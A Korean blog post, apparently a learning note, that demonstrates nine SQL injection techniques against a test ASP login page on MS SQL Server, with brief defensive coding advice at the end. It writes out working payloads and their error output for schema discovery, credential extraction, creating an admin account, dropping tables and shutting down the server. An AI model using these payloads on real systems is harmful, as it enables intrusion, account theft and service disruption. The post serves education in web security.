노무현 전 대통령 서거 추모글 남기기

SQL injection

개발자가 뭐길래 | 2008. 1. 23. 20:07 | sweetw
SQL Injection
Sql을 사용하는 데이터베이스의 취약점을 악용하는 기술을 말한다.
sql 명령어에서 string을 입력할 때 사용하는 '(single quote:외따옴표)나 명령어의 끝이자, 새 명령어의 시작임을 알리는 딜리미터 ;(세미콜론)등을 교묘하게 이용하는 방법은 이미 널리 알려진 해킹 방법이다. advanced sql injection In SQL Server Applications에는 해커가 어떤식으로 database의 정보를 이용하는지 차근차근 설명되어 있다. 2002년도꺼라 지금은 이미 식상할지도 모르겠지만 일단 입문하는 마음으로 그 중 앞부분(뒷부분은 DB공부를 좀 더 하고-_-)을 참고하여 딱 9가지만 정리하였다.

테스트 환경
  • os :  windows 2000 pro
  • DB : MS SQL personal
  • 스크립트 언어 : ASP
login_page.html 과 process_login.asp 파일을 IIS 서버에 올리고 테스트한다.
로그인 페이지는 다음과 같다.

사용자 삽입 이미지

MS-SQL에 미리 테이블을 생성하고 값을 입력해두자.

테이블생성

create table users( id int,

   username varchar(255),

   password varchar(25),

   privs int)

값 입력

insert into users values( 0, 'admin' , '1234', 0xffff)

insert into users values( 0, 'guest', 'guest', 0x0000)

insert into users values( 0, 'chris' , 'password', 0x00ff)

insert into users values( 0, 'fred', 'sesame', 0x00ff)


attacker의 관점

이와 같은 DB 시스템에서,공격자가 자기 자신의 계정을 만들고 싶어했을 때 users 라는 테이블의 존재나 구조를 모르면 공격이 불가능할 것이다. 우연히 맞춘다 해도, privs 라는 필드는 어떤 필드인지 확실하지 않다. 공격자에게는 다행이게도, ASP 기준 application에서는 에러가 있을 경우 그 내용을 리턴하는데 내용이 노출되면 공격자가 그것을 참고하여 데이터베이스의 구조를 파악할 수 있게 된다.


공격 1 - 테이블명 알아내기 (having)

username : ' having 1=1--

참고로

① having절은 group by에 의한 결과를 제한할 때 사용한다. group by 에 의해 결과를 집계한 다음 having 절에 명시한 조건으로 맞지 않는 결과는 버린다.

② -- 는 뒤에 오는 내용을 'single line comment(한 줄짜리 주석)로 만든다.

asp 코드를 보면

select * from users where username = ' +username+ ' and password = ' +password+'

라고 되어있다. 여기서 보라색 username, password는 사용자가 입력한 값이 들어가게 된다.

username 칸에 위와 같이 입력하면 내부적으로 완성되는 쿼리는 다음과 같다.

내부적으로 완성되는 쿼리 :

select * from users where username = '' having 1=1-- and password = ''

-- 이하는 주석처리되므로 결국 다음과 같다.

    select * from users where username = '' having 1=1--

이는 다음과 같은 에러를 만든다

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]'users.id' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
/process_login.asp, line 34

이 에러메시지를 통해 table명이 users라는 것과 첫번째 필드명이 id라는 것을 알 수 있다.
공격자는 이제 각 필드를 알아낼 차례다.


공격 2 - 필드명 알아내기 (group by)

Username : ' group by users.id having 1=1--

내부적으로 완성되는 쿼리 :

select * from users where username = ''group by users.id having 1=1-- and password =‘’

이는 다음과 같은 오류를 낸다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]'users.username' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
/process_login.asp, line 34

결국 공격자는 username을 얻는데에도 성공한다.

'group by users.id, users.username having 1=1-- 를 이용해 users.password를 알수 있고,

'group by users.id, users.username, users.password having 1=1-- 를 이용해 users.privs를 알수 있다.

이런식으로 하나씩 늘려가다보면 마침내 다음과 같이 에러를 내지 않는 쿼리를 완성하게 된다.

username : ' group by users.id, users.username, users.password, users.privs having 1=1--

이는 다음과 같은 뜻이 된다.

    select * from users where username  = ''

이로써, 공격자는 두 가지 사실을 알게 된다.

  • 이 쿼리가 오직 users 테이블만 참조한다는 것
  • users 테이블에서 id, username, password, privs 컬럼을 사용한다는 것

공격 3 - 필드 타입 알아내기 (union)

공격자는 아직 각 필드의 타입을 모른다.

타입에 대한 에러를 보기 위해 다음과 같은 공격 쿼리를 입력한다.

Username : ' union select sum(username) from users--

내부적으로 완성되는 쿼리:
select * from users where username = ‘' union select sum(username) from users-- and password=‘’

참고로
union 쿼리는 두개의 테이블에 있는 내용을 동시에 가져오는 방법이며 두테이블이 전혀 관계 없어도 가능하다. union은 여기에 쉽게 나와 있다>>
http://blog.naver.com/mulriver?Redirect=Log&logNo=120005713026

여하튼 위의 쿼리는 sum 명령에 대하여 계산을 시도하다 다음과 같은 에러가 난다.

 Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]sum or average aggregate 연산에서는 varchar 데이터 형식을 인수로 취할 수 없습니다.
/process_login.asp, line 34

이 에러 메시지는 username 이 varchar 형임을 말해준다. 만약 varchar가 아니라 숫자형이었으면 어땠을까?

Username : ' union select sum(id) from users--

내부적으로 완성된 쿼리 :
select * from username=‘’ union select sum(id) from users-- and password = ‘’

id(numeric 타입)를 sum()으로 계산하려고 하니 다음과 같은 에러가 난다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
/process_login.asp, line 34

type conversion에 관련한 메시지가 된다. 만약 string을 integer형으로 변환시키려고 하면, string의 내용 전부가 에러 메시지로 출력되는 것이다. 이러한 기술을 이용해 어떤 table의 어떤 column이든 type 을 대략 추정할 수 있다. 이는 공격자에게  완벽한 insert문을 만들 수 있게 해준다.

공격 4 - 계정만들기 (insert)

공격 3까지에서 테이블명, 필드명, 각 타입을 알았으므로 공격자가 임의의 값을 테이블에 넣는 쿼리를 만들어 실행할 수 있다.

username : '; insert into users values(666,'attacker' , 'foobar', 0xffff)--

내부적으로 완성된 쿼리:
—select * from username=‘'; insert into users values(666,'attacker' , 'foobar', 0xffff)-- and password = ‘’

세미콜론(;)있는 부분에서 select 문이 끝나고 insert 문이 실행되어, attacker의 데이터가 고스란히 db 테이블에 저장된다.

공격 5 - 버전 및 환경 알아내기 (@@version)

공격자는 database나 서버 환경에 대한 정보도 밝혀낼 수 있다.  우리 테스트 페이지에서는 SQL서버의 버전과 이것이 동작하는 OS도 알려준다.

username :  ' union select @@version,1,1,1--

내부적으로 완성되는 쿼리:
select * from users where username =‘union select @@version,1,1,1-- and password = ‘’

에러메시지는 다음과 같다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]nvarchar 값 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) '을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/process_login.asp, line 34

이 공격은 @@version을 integer형으로 변환시키려고 시도한다. 왜냐면, users 테이블의 첫 column이 integer형이기 때문이다.

참고 )  ' union select 1, @@version,1, 1-- 를 이용하면 정상인것처럼 출력됨

이 기술을 이용해 db의 어떤 테이블의 어떤 값이든 읽을 수 있다.


공격 6 - 계정 추출하기 (type convert error)

공격자가 username과 password에 관심이 있다면 users 테이블에서 다음과 같은 시도를 할 것이다.

Username : 'union select min(username), 1,1,1 from users where username > 'a'--

내부적으로 완성된 쿼리 :
select * from users where username =‘'union select min(username), 1,1,1 from users where username > 'a’-- and password =‘’

이 쿼리문은 'a'보다 큰 username 중 minimum(최소)값을 가져온다. 그리고 그것을 integer형으로 변환을 시도하다가 다음과 같은 에러를 발생시킨다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'admin'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/process_login.asp, line 34

이로서, 공격자는 admin계정이 존재함을 알게 된다. 공격자는 where 절을 이용해 각 계정의 이름을 모두 알아낼 수 있다.

'union select min(username), 1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'chris'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/process_login.asp, line 34

'union select min(username), 1,1,1 from users where username > 'chris'--Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'fred'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/process_login.asp, line 34

'union select min(username), 1,1,1 from users where username > 'fred'--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'guest'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/process_login.asp, line 34

'union select min(username), 1,1,1 from users where username > 'guest'--
-> 통과 (더이상 없음)

공격 7 - 계정의 패스워드 알아내기

공격자가  username을 알아내기로 마음 먹었다면, password도 알아낼 수 있다.

Username : 'union select password,1,1,1 from users where username = 'admin'--


내부적으로 완성되는 쿼리:
select * from users where username = ‘'union select password,1,1,1 from users where username = 'admin‘-- and password =‘’
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 '1234'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/process_login.asp, line 34

공격 8 - Transact-SQL

더 똑똑한 기술이 있다. username 과 password를 연계해 single string 으로 만들어 이를 integer형으로 변환을 시도하는 방식이다. Transact-SQL 명령어로 string을 고스란히 한라인에 쓸 수 있다.

이용하는 쿼리 :

  1. begin declare @ret varchar(8000)
    set @ret=':'
    select @ret=@ret+' '+username+'/'+password from users where
    username>@ret
    select @ret as ret into foo
    end
이를 한 줄로 만들어 공격에 임해보자.
username : '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

이  결과로 'ret'이라는 single column을 가진 'foo'라는 테이블을 만들고 string을 거기 집어넣는다.

이제 공격자는 그 테이블의 string을 가져온다.

username : ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 ': admin/1234 guest/guest chris/password fred/sesame'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/process_login.asp, line 34

모든 id와 password가 에러메시지에 한줄로 나오는 것을 볼 수 있다.

이제 이를 확인한 공격자는 깔끔하게 table을 없애거나(drop) 내용을 삭제(delete)한다.

Username : '; drop table foo--

내부적으로 완성된 쿼리 :
select * from users where username =‘’;drop table foo-- and password=‘’


공격 9 shutdown

Username : '; shutdown--

sql 서버 인스턴스를 shutdown 시킨다.


결론

예제들은 sql injection 의 수박 겉핥기식의 일례일 뿐이다.
공격자가 DB로 부터 얻는 에러가 방대할수록 공격이 쉬워진다.
advanced sql injection in SQL Server Applications 에는 웹 프로그래밍상의 방어적 코딩 방안이 나와 있다.
   1. Escape single quote
       ‘ (외따옴표)의 escape코드를 이용
   2. Reject known bad input
       select, insert, delete, drop , --, ‘ 등의 있는지 검사
   3. Allow only good input
       abcdefg…ABCDEFG…0123456789 만 허용

advanced sql injection In SQL Server applications (pdf)